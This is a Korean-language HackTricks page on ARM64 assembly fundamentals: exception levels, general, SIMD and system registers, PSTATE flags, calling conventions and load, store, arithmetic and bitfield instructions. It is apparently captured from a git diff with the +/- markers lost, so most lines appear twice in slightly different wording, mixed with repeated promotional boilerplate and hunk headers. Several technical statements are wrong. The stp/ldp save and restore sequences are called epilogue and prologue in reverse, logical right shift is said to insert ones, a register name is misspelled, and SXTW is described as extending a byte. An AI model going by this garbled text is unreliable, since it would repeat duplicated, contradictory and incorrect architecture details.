* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**을** 팔로우하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기법을 공유**하세요.
* **회사가 HackTricks를 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
</details>

View file

@ -2,71 +2,71 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹 배우기</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 웸하는 경우** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details>
## **예외 수준 - EL (ARM64v8)**
ARMv8 아키텍처에서 실행 수준인 예외 수준(EL)은 실행 환경의 권한 수준과 기능을 정의합니다. EL0부터 EL3까지 네 가지 예외 수준이 있으며 각각 다른 목적을 제공합니다:
ARMv8 아키텍처에서 실행 수준인 예외 수준(EL)은 실행 환경의 권한 수준과 기능을 정의합니다. EL0부터 EL3까지 네 가지 예외 수준이 있으며 각각 다른 목적을 제공합니다:
1. **EL0 - 사용자 모드**:
* 이는 가장 낮은 권한 수준으로 일반 응용 프로그램 코드를 실행하는 데 사용됩니다.
* EL0에서 실행되는 응용 프로그램은 서로 및 시스템 소프트웨어로부터 격리되어 보안성과 안정성을 향상시킵니다.
2. **EL1 - 운영 체제 커널 모드**:
* 대부분의 운영 체제 커널이 이 수준에서 실행됩니다.
* EL1은 EL0보다 더 많은 권한을 가지며 시스템 자원에 액세스할 수 있지만 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.
* 대부분의 운영 체제 커널이이 수준에서 실행됩니다.
* EL1은 EL0보다 더 많은 권한을 가지고 시스템 리소스에 액세스할 수 있지만 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.
3. **EL2 - 하이퍼바이저 모드**:
* 이 수준은 가상화에 사용됩니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리 하드웨어에서 실행되는 여러 운영 체제(각각이 고유한 EL1에서)를 관리할 수 있습니다.
* EL2는 가상화 환경의 격리 및 제어 기능을 제공합니다.
4. **EL3 - 안전 모니터 모드**:
* 이는 가장 높은 권한 수준으로 안전 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
* EL3는 안전 및 비안전 상태 간의 액세스를 관리하고 제어할 수 있습니다(예: 안전 부팅, 신뢰할 수 있는 OS 등).
* 이는 가장 높은 권한 수준으로 안전 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
* EL3는 안전 및 비안전 상태 간의 액세스를 관리하고 제어할 수 있습니다(예: 안전 부팅, 신뢰할 수 있는 OS 등).
이러한 수준의 사용은 사용자 응용 프로그램부터 가장 높은 권한을 가진 시스템 소프트웨어까지 시스템의 다양한 측면을 구조화고 안전하게 관리하는 방법을 제공합니다. ARMv8의 권한 수준 접근 방식은 다른 시스템 구성 요소를 효과적으로 격리함으로써 시스템의 보안성과 견고성을 향상시킵니다.
이러한 수준의 사용은 사용자 응용 프로그램부터 가장 높은 권한을 가진 시스템 소프트웨어까지 시스템의 다양한 측면을 구조화고 안전하게 관리하는 방법을 제공합니다. ARMv8의 권한 수준 접근 방식은 다른 시스템 구성 요소를 효과적으로 격리하여 시스템의 보안성과 견고성을 향상시킵니다.
## **레지스터 (ARM64v8)**
ARM64에는 `x0`부터 `x30`으로 레이블이 지정된 **31개의 범용 레지스터**가 있습니다. 각각은 **64비트**(8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업에 대해 동일한 레지스터를 사용하여 w0부터 w30까지의 이름을 사용하여 32비트 모드에서 액세스할 수 있습니다.
ARM64에는 `x0`부터 `x30`으로 레이블이 지정된 **31개의 범용 레지스터**가 있습니다. 각각은 **64비트**(8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업의 경우 동일한 레지스터를 `w0`부터 `w30`까지의 이름을 사용하여 32비트 모드에서 액세스할 수 있습니다.
1. **`x0`** ~ **`x7`** - 이들은 일반적으로 스크래치 레지스터로 사용되며 서브루틴에 매개변수를 전달하는 데 사용됩니다.
* **`x0`**은 또한 함수의 반환 데이터를 운반합니다.
2. **`x8`** - 리눅스 커널에서 `x8``svc` 명령을 위한 시스템 호출 번호로 사용됩니다. **macOS에서는 x16이 사용됩니다!**
3. **`x9`** ~ **`x15`** - 더 많은 임시 레지스터로서 주로 로컬 변수에 사용됩니다.
3. **`x9`** ~ **`x15`** - 더 많은 임시 레지스터로서 종종 로컬 변수에 사용됩니다.
4. **`x16`** 및 **`x17`** - **함수 내부 호출 레지스터**. 즉시 값에 대한 임시 레지스터입니다. 간접 함수 호출 및 PLT(Procedure Linkage Table) 스텁에도 사용됩니다.
* **`x16`**은 **macOS**에서 **`svc`** 명령을 위한 **시스템 호출 번호**로 사용됩니다.
5. **`x18`** - **플랫폼 레지스터**. 일반적인 목적 레지스터로 사용될 수 있지만 일부 플랫폼에서는 이 레지스터가 플랫폼별 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록을 가리키는 포인터 또는 리눅스 커널에서 현재 **실행 중인 작업 구조체를 가리키는 포인터**.
6. **`x19`** ~ **`x28`** - 이들은 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로 스택에 저장되고 호출자로 돌아가기 전에 복구되어야 합니다.
7. **`x29`** - **프레임 포인터**는 스택 프레임을 추적하는 데 사용됩니다. 함수가 호출되어 새로운 스택 프레임이 생성될 때 **`x29`** 레지스터 **스택에 저장**되고 새로운 프레임 포인터 주소(즉, **`sp`** 주소)가 **이 레지스터에 저장**됩니다.
* 이 레지스터는 **일반 목적 레지스터**로 사용될 수도 있지만 일반적으로 **로컬 변수에 대한 참조로 사용**됩니다.
8. **`x30`** 또는 **`lr`**- **링크 레지스터**. `BL` (Branch with Link) 또는 `BLR` (Register로 Link) 명령이 실행될**`pc`** 값을 이 레지스터에 저장하여 **반환 주소**를 보유합니다.
7. **`x29`** - 스택 프레임을 추적하는 **프레임 포인터**입니다. 함수가 호출되어 새로운 스택 프레임이 생성될 때 **`x29`** 레지스터 **스택에 저장**되고 새로운 프레임 포인터 주소(즉, **`sp`** 주소)가 **이 레지스터에 저장**됩니다.
* 이 레지스터는 **일반 목적 레지스터**로 사용될 수도 있지만 일반적으로 **로컬 변수에 대한 참조**로 사용됩니다.
8. **`x30`** 또는 **`lr`**- **링크 레지스터**. `BL` (Branch with Link) 또는 `BLR` (Register로 링크된 Branch) 명령을 실행할**`pc`** 값을 이 레지스터에 저장하여 **반환 주소**를 보유합니다.
* 다른 레지스터와 마찬가지로 사용할 수 있습니다.
* 현재 함수가 새 함수를 호출하고 따라서 `lr`을 덮어쓸 예정이라면, 시작 시에 스택에 저장하고 이것을 복구합니다. 이것이 에필로그(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp``lr` 저장, 공간 생성 및 새 `fp` 가져오기)이고, 끝에 복구합니다. 이것이 프롤로그(`ldp x29, x30, [sp], #48; ret` -> `fp``lr` 복구 및 반환)입니다.
9. **`sp`** - **스택 포인터**는 스택의 맨 위를 추적하는 데 사용됩니다.
* 현재 함수가 새 함수를 호출하고 따라서 `lr`을 덮어쓸 것이라면, 시작 시 `lr`을 스택에 저장하고, 이것이 에필로그입니다(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp``lr`을 저장하고 공간을 생성하고 새 `fp`를 가져옵니다) 및 끝에 복구합니다. 이것이 프롤로그입니다(`ldp x29, x30, [sp], #48; ret` -> `fp``lr`을 복구하고 반환합니다).
9. **`sp`** - **스택 포인터**, 스택의 맨 위를 추적하는 데 사용됩니다.
* **`sp`** 값은 항상 적어도 **쿼드워드** **정렬**을 유지해야 하며 그렇지 않으면 정렬 예외가 발생할 수 있습니다.
10. **`pc`** - 다음 명령을 가리키는 **프로그램 카운터**. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 일반 명령은 분기와 링크 명령(BL, BLR)뿐이며 **`pc`** 주소를 **`lr`** (링크 레지스터)에 저장하기 위해 사용됩니다.
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**로도 불립니다. 제로 값을 쉽게 얻거나 **`subs`**를 사용하여 **`xzr`**에 결과 데이터를 저장하지 않고 비교를 수행하는 데 사용할 수 있습니다(예: **`subs XZR, Xn, #10`**).
10. **`pc`** - 다음 명령을 가리키는 **프로그램 카운터**. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 일반 명령은 분기와 링크 명령(BL, BLR)뿐이며 **`pc`** 주소를 **`lr`** (링크 레지스터)에 저장하기 위한 목적입니다.
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태**`wzr`**로도 불립니다. 제로 값을 쉽게 얻는 데 사용할 수 있습니다(일반적인 작업) 또는 **`subs`**를 사용하여 비교를 수행할 수 있습니다. 예: **`subs XZR, Xn, #10`** 결과 데이터를 어디에도 저장하지 않고(**`xzr`**에).
**`Wn`** 레지스터는 **`Xn`** 레지스터의 32비트 버전입니다.
### SIMD 및 부동 소수점 레지스터
또한 최적화된 단일 명령 다중 데이터(SIMD) 작업 및 부동 소수점 산술을 수행하는 데 사용할 수 있는 **128비트 길이의 32개 레지스터**가 있습니다. 이러한 레지스터는 Vn 레지스터라고 불리지만 64비트, 32비트, 16비트 및 8비트에서도 작동할 수 있으며 **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** 및 **`Bn`**으로 불립니다.
또한 최적화된 단일 명령 다중 데이터(SIMD) 작업 및 부동 소수점 산술을 수행하는 데 사용할 수 있는 **128비트 길이의 32개 레지스터**가 있습니다. 이러한 레지스터는 Vn 레지스터라고 불리지만 **64**비트, **32**비트, **16**비트 및 **8**비트에서도 작동할 수 있으며 **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** 및 **`Bn`**으로 불립니다.
### 시스템 레지스터
**수백 개의 시스템 레지스터** 또는 특수 목적 레지스터(SPR)는 **프로세서** 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
이러한 레지스터는 전용 특수 명령어 **`mrs`**와 **`msr`**을 사용하여만 읽거나 설정할 수 있습니다.
특수 레지스터 **`TPIDR_EL0`**와 **`TPIDDR_EL0`**은 역공학 시 자주 발견됩니다. `EL0` 접미사는 레지스터에 액세스할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0은 정규 예외(권한) 수준으로 일반 프로그램이 실행됩니다).\
이들은 주로 메모리의 **스레드 로컬 저장소** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행 중인 프로그램에 대해 읽기 및 쓰기 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓰기 가능합니다(커널과 같이).
특수 레지스터 **`TPIDR_EL0`**와 **`TPIDDR_EL0`**은 역공학 시 자주 발견됩니다. `EL0` 접미사는 레지스터에 액세스할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0은 정규 프로그램이 실행되는 권한 수준의 정규 예외입니다).\
이들은 주로 메모리의 **스레드 로컬 스토리지** 영역의 **베이스 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행 중인 프로그램에 대해 읽기 및 쓰기 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓰기 가능합니다(커널과 같이).
* `mrs x0, TPIDR_EL0 ; TPIDR_EL0을 x0로 읽기`
* `msr TPIDR_EL0, X0 ; x0를 TPIDR_EL0에 쓰기`
@ -74,27 +74,27 @@ ARM64에는 `x0`부터 `x30`으로 레이블이 지정된 **31개의 범용 레
### **PSTATE**
**PSTATE**에는 운영 체제에서 볼 수 있는 **`SPSR_ELx`** 특수 레지스터로 직렬화된 여러 프로세스 구성 요소가 포함되어 있습니다. 여기에는 **트리거된** 예외의 **권한** **수준인 X**가 포함됩니다(이를 통해 예외 종료 시 프로세스 상태를 복구할 수 있습니다).\
다음은 접근 가능한 필드입니다:
다음과 같은 접근 가능한 필드가 있습니다:
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
* **`N`**, **`Z`**, **`C`**, **`V`** 조건 플래그:
* **`N`**은 작업이 음수 결과를 생성했음을 의미합니다.
* **`Z`**는 작업이 0을 생성했음을 의미합니다.
* **`C`**는 작업이 캐리음을 의미합니다.
* **`C`**는 작업이 캐리되었음을 의미합니다.
* **`V`**는 작업이 부호 오버플로우를 생성했음을 의미합니다:
* 두 양수의 합은 음수 결과를 생성합니다.
* 두 음수의 합은 양수 결과를 생성합니다.
* 뺄셈에서 큰 음수가 작은 양수에서 뺄셈되고 결과가 주어진 비트 크기의 범위 내에 표현할 수 없는 경우.
* 당연히 프로세서는 작업이 부호 있는지 여부를 알 수 없으므로 작업에서 C와 V를 확인하고 부호 있는 경우 발생한 캐리를 표시합니다.
* 당연히 프로세서는 작업이 부호 있는지 여부를 알 수 없으므로 작업에서 C와 V를 확인하고 부호 있는지 여부에 따라 발생한 캐리를 표시합니다.
{% hint style="warning" %}
모든 명령이 이러한 플래그를 업데이트하지는 않습니다. **`CMP`** 또는 **`TST`**와 같은 일부 명령은 그렇지만, **`ADDS`**와 같이 s 접미사가 있는 다른 명령도 그렇습니다.
{% endhint %}
* 현재 **레지스터 너비(`nRW`)** 플래그: 플래그가 값 0을 보유하면 프로그램은 다시 시작되면 AArch64 실행 상태에서 실행됩니다.
* 현재 **예외 수준(`EL`)**: EL0에서 실행 중인 일반 프로그램은 값 0을 갖습니다.
* **단계별 실행** 플래그(**`SS`**): 디버거가 단계별 실행하기 위해 **`SPSR_ELx`** 내의 SS 플래그를 1로 설정합니다. 프로그램은 한 단계를 실행하고 단계별 예외를 발생시킵니다.
* 현재 **레지스터 너비(`nRW`) 플래그**: 플래그가 값 0을 보유하면 프로그램이 재개되면 AArch64 실행 상태에서 실행됩니다.
* 현재 **예외 수준**(**`EL`**): EL0에서 실행 중인 일반 프로그램은 값 0을 갖습니다.
* **단계별 실행** 플래그(**`SS`**): 디버거가 단계별 실행을 위해 **`SPSR_ELx`** 내의 SS 플래그를 1로 설정하는 데 사용됩니다. 프로그램은 한 단계를 실행하고 단계별 예외를 발생시킵니다.
* **잘못된 예외** 상태 플래그(**`IL`**): 특권 소프트웨어가 잘못된 예외 수준 전송을 수행할 때 사용되며, 이 플래그는 1로 설정되고 프로세서는 잘못된 상태 예외를 트리거합니다.
* **`DAIF`** 플래그: 이러한 플래그를 사용하여 특권 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있습니다.
* **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청**에 응답하도록 구성하고 F는 **빠른 인터럽트 요청**과 관련이 있습니다.
@ -104,11 +104,11 @@ ARM64에는 `x0`부터 `x30`으로 레이블이 지정된 **31개의 범용 레
ARM64 호출 규약에 따르면 함수에 전달되는 **첫 번째 여덟 개의 매개변수**는 **`x0`부터 `x7`** 레지스터에 전달됩니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 반환되거나 **128비트인 경우** **`x1`**에도 반환됩니다. **`x19`**부터 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
어셈블리에서 함수를 읽을 때 **함수 프롤로그와 에필로그**를 찾으세요. **프롤로그**는 일반적으로 **프레임 포인터(`x29`)를 저장**, **새 프레임 포인터 설정** 및 **스택 공간 할당**을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터를 복원**하고 함수에서 **반환**하는 것을 포함합니다.
어셈블리에서 함수를 읽을 때 **함수 프롤로그와 에필로그**를 찾으세요. **프롤로그**는 일반적으로 **프레임 포인터(`x29`)를 저장**, **새 프레임 포인터 설정** 및 **스택 공간 할당**을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터를 복원**하고 **함수에서 반환**하는 것을 포함합니다.
### Swift의 호출 규약
### Swift에서의 호출 규약
Swift에는 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)에서 찾을 수 있는 고유한 **호출 규약**이 있습니다.
Swift에는 자체 **호출 규약**이 있으며 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)에서 찾을 수 있습니다.
## **일반 명령어 (ARM64v8)**
@ -120,19 +120,19 @@ ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습
* 예: `ldr x0, [x1]` — 이는 `x1`이 가리키는 메모리 위치에서 값을 `x0`로 로드합니다.
* **오프셋 모드**: 원래 포인터에 영향을 주는 오프셋이 표시됩니다. 예를 들어:
* `ldr x2, [x1, #8]`, 이는 x1 + 8에서 x2로 값을 로드합니다.
* `ldr x2, [x0, x1, lsl #2]`, 이는 x0 배열에서 x1(인덱스) \* 4 위치의 객체를 x2로 로드합니다.
* &#x20;`ldr x2, [x0, x1, lsl #2]`, 이는 x0 배열에서 x1(인덱스) \* 4 위치의 객체를 x2로 로드합니다.
* **선행 인덱스 모드**: 원본에 계산을 적용하고 결과를 얻은 후 새 원본을 원본에 저장합니다.
* `ldr x2, [x1, #8]!`, 이는 `x1 + 8``x2`에 로드하고 `x1 + 8`의 결과를 x1에 저장합니다.
* `str lr, [sp, #-4]!`, 링크 레지스터를 sp에 저장하고 레지스터 sp를 업데이트합니다.
* **후행 인덱스 모드**: 이전 모드와 유사하지만 메모리 주소에 액세스한 다음 오프셋을 계산하고 저장합니다.
* **후행 인덱스 모드**: 이전 것과 유사하지만 메모리 주소에 액세스한 다음 오프셋을 계산하고 저장합니다.
* `ldr x0, [x1], #8`, `x1``x0`에 로드하고 x1을 `x1 + 8`로 업데이트합니다.
* **PC 상대 주소 지정**: 이 경우 로드할 주소 현재 PC 레지스터와 관련하여 계산됩니다.
* **PC 상대 주소 지정**: 이 경우 로드할 주소 현재 PC 레지스터와 관련하여 계산됩니다.
* `ldr x1, =_start`, 이는 `_start` 심볼이 시작하는 주소를 현재 PC와 관련하여 x1에 로드합니다.
* **`str`**: **레지스터**의 값을 **메모리**에 저장.
* 예: `str x0, [x1]` — 이는 `x0`의 값을 `x1`이 가리키는 메모리 위치에 저장합니다.
* **`ldp`**: **레지스터 쌍 로드**. 이 명령은 **연속 메모리** 위치에서 **두 개의 레지스터**를 로드합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
* **`ldp`**: **레지스터 쌍 로드**. 이 명령은 **연속 메모리** 위치에서 **두 레지스터**를 로드합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
* 예: `ldp x0, x1, [x2]` — 이는 각각 `x2``x2 + 8` 위치의 메모리에서 `x0``x1`을 로드합니다.
* **`stp`**: **레지스터 쌍 저장**. 이 명령은 **연속 메모리** 위치로 **두 개의 레지스터**를 저장합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
* **`stp`**: **레지스터 쌍 저장**. 이 명령은 **연속 메모리** 위치로 **두 레지스터**를 저장합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
* 예: `stp x0, x1, [sp]` — 이는 각각 `sp``sp + 8` 위치의 메모리에 `x0``x1`을 저장합니다.
* `stp x0, x1, [sp, #16]!` — 이는 각각 `sp+16``sp + 24` 위치의 메모리에 `x0``x1`을 저장하고 `sp``sp+16`로 업데이트합니다.
* **`add`**: 두 레지스터의 값을 더하고 결과를 레지스터에 저장합니다.
@ -141,69 +141,70 @@ ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습
* Xn2 -> 피연산자 1
* Xn3 | #imm -> 피연산자 2 (레지스터 또는 즉시값)
* \[shift #N | RRX] -> 시프트 또는 RRX 호출 수행
* 예: `add x0, x1, x2` — 이 명령은 `x1``x2`의 값을 더하 결과를 `x0`에 저장합니다.
* `add x5, x5, #1, lsl #12` — 이는 4096에 해당합니다 (1을 12번 시프트하여) -> 1 0000 0000 0000 0000
* 예: `add x0, x1, x2` — 이 명령은 `x1``x2`의 값을 더하 결과를 `x0`에 저장합니다.
* `add x5, x5, #1, lsl #12` — 이는 4096에 해당합니다 (1을 12번 시프트한 값) -> 1 0000 0000 0000 0000
* **`adds`** 이 명령은 `add`를 수행하고 플래그를 업데이트합니다.
* **`sub`**: 두 레지스터의 값을 빼고 결과를 레지스터에 저장합니다.
* **`add`** 구문을 확인하세요.
* 예: `sub x0, x1, x2` — 이 명령은 `x1`에서 `x2`의 값을 빼고 결과를 `x0`에 저장합니다.
* **`subs`** 이 명령은 sub와 유사하지만 플래그를 업데이트합니다.
* **`mul`**: 두 레지스터의 값을 곱하고 결과를 레지스터에 저장합니다.
* 예: `mul x0, x1, x2` — 이 명령은 `x1``x2`의 값을 곱하 결과를 `x0`에 저장합니다.
* 예: `mul x0, x1, x2` — 이 명령은 `x1``x2`의 값을 곱하 결과를 `x0`에 저장합니다.
* **`div`**: 한 레지스터의 값을 다른 값으로 나누고 결과를 레지스터에 저장합니다.
* 예: `div x0, x1, x2` — 이 명령은 `x1`의 값을 `x2`로 나누 결과를 `x0`에 저장합니다.
* 예: `div x0, x1, x2` — 이 명령은 `x1`의 값을 `x2`로 나누 결과를 `x0`에 저장합니다.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **논리 왼쪽 시프트**: 끝에서 0을 추가하여 다른 비트를 앞쪽으로 이동 (n번 2를 곱함)
* **논리 오른쪽 시프트**: 시작 부분에 1을 추가하여 다른 비트를 뒤로 이동 (부호 없는 경우 n번 2로 나눔)
* **산술 오른쪽 시프트**: **`lsr`**와 유사하지만 최상위 비트가 1인 경우 1을 추가함 (부호 있는 경우 n번 2로 나눔)
* **산술 오른쪽 시프트**: **`lsr`**와 유사하지만 최상위 비트가 1이면 1을 추가함 (부호 있는 경우 n번 2로 나눔)
* **오른쪽으로 회전**: **`lsr`**와 유사하지만 오른쪽에서 제거된 것은 왼쪽에 추가됨
* **확장된 오른쪽 회전**: **`ror`**와 유사하지만 캐리 플래그가 "가장 상위 비트"로 사용됨. 따라서 캐리 플래그가 비트 31로 이동되고 제거된 비트가 캐리 플래그로 이동함.
* **`bfm`**: **비트 필드 이동**, 이러한 작업은 값을 복사하고 해당 값을 다른 레지스터에 복사함.
* **`bfm`**: **비트 필드 이동**, 이러한 작업은 값을 복사하고 해당 값을 다른 레지스터에 배치함. **`#s`**는 가장 왼쪽 비트 위치를 지정하고 **`#r`**은 **오른쪽으로 회전하는 양**을 지정함.
* 비트 필드 이동: `BFM Xd, Xn, #r`
* 부호 있는 비트 필드 이동: `SBFM Xd, Xn, #r, #s`
* 부호 없는 비트 필드 이동: `UBFM Xd, Xn, #r, #s`
* **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하고 다른 레지스터 복사함.
* **`BFI X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 X1에 삽입
* **`BFXIL X1, X2, #3, #4`** X2의 3번째 비트부터 4비트를 추출하여 X1에 복사
* **`SBFIZ X1, X2, #3, #4`** X2에서 4비트를 부호 확장하여 3번째 비트 위치부터 X1에 삽입하고 오른쪽 비트를 0으로 설정
* **`SBFX X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 추출하고 부호를 확장하여 결과를 X1에 배치
* **`UBFIZ X1, X2, #3, #4`** X2에서 4비트를 0으로 확장하여 3번째 비트 위치부터 X1에 삽입
* **`UBFX X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 추출하고 0으로 확장된 결과를 X1에 배치.
* **X로 확장된 부호:** 값을 확장하여 해당 값과 작업을 수행할 수 있도록 부호를 확장함 (부호 없는 버전에서는 0만 추가함):
* **`SXTB X1, W2`** W2에서 X1로 바이트의 부호를 확장하여 64비트를 채움 (`W2`는 `X2`의 절반)
* **`SXTH X1, W2`** W2에서 X1로 16비트 숫자의 부호를 확장하여 64비트를 채움
* **`SXTW X1, W2`** W2에서 X1로 바이트의 부호를 확장하여 64비트를 채움
* **`UXTB X1, W2`** W2에서 X1로 바이트에 0을 추가하여 64비트를 채움
* **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하고 다른 레지스터 복사함.
* **`BFI X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 X1에 삽입
* **`BFXIL X1, X2, #3, #4`** X2의 3번째 비트에서 4비트를 추출하여 X1에 복사함
* **`SBFIZ X1, X2, #3, #4`** X2에서 4비트를 부호 확장하여 X1에 삽입하고 오른쪽 비트를 0으로 만듦
* **`SBFX X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 추출하여 부호 확장하고 결과를 X1에 배치함
* **`UBFIZ X1, X2, #3, #4`** X2에서 4비트를 0으로 확장하여 X1에 삽입하고 오른쪽 비트를 0으로 만듦
* **`UBFX X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 추출하여 0으로 확장된 결과를 X1에 배치함.
* **X로 확장된 부호:** 값을 확장하여 부호를 연장함 (부호 없는 경우 0만 추가함):
* **`SXTB X1, W2`** W2에서 X1로 바이트의 부호를 확장 (`W2`는 `X2`의 절반)
* **`SXTH X1, W2`** W2에서 X1로 16비트 숫자의 부호를 확장
* **`SXTW X1, W2`** W2에서 X1로 바이트의 부호를 확장
* **`UXTB X1, W2`** W2에서 X1로 바이트에 0을 추가하여 확장함
* **`extr`:** 연결된 특정 레지스터 쌍에서 비트를 추출함.
* 예: `EXTR W3, W2, W1, #3` 이 명령은 W1+W2를 연결하고 W2의 3번째 비트부터 W1의 3번째 비트까지 가져와 W3에 저장함.
* **`cmp`**: 두 레지스터를 비교하고 조건 플래그를 설정함. 목적 레지스터를 제로 레지스터로 설정하는 `subs`의 별칭임. `m == n`인지 확인하는 데 유용함.
* **`cmp`**: 두 레지스터를 비교하고 조건 플래그를 설정함. `subs`의 별칭으로, 대상 레지스터를 제로 레지스터로 설정함. `m == n`인지 확인하는 데 유용함.
* `subs`와 동일한 구문을 지원함
* 예: `cmp x0, x1` — 이 명령은 `x0``x1`의 값을 비교하고 조건 플래그를 설정함.
* **`cmn`**: **음수 비교** 피연산자. 이 경우 `adds`의 별칭이며 동일한 구문을 지원함. `m == -n`인지 확인하는 데 유용함.
* **`ccmp`**: 조건부 비교, 이전 비교가 참인 경우에만 수행되는 비교로 특정하게 nzcv 비트를 설정함.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 _func점프함
* 이는 **이전 `cmp``NE`인 경우에만 `ccmp`가 실행**되므로 비트 `nzcv`가 0으로 설정됨 (`blt` 비교를 만족시키지 않음).
* 이는 `ccmn`으로도 사용할 수 있음 (`cmp` vs `cmn`과 유사함).
* **`tst`**: 비교 값 중 어느 값이 1인지 확인함 (ANDS처럼 작동하지만 결과를 어디에도 저장하지 않음). 값이 1인 레지스터의 비트를 확인하는 데 유용함.
* **`ccmp`**: 조건부 비교, 이전 비교가 참인 경우에만 수행되는 비교로, 특정하게 nzcv 비트를 설정함.
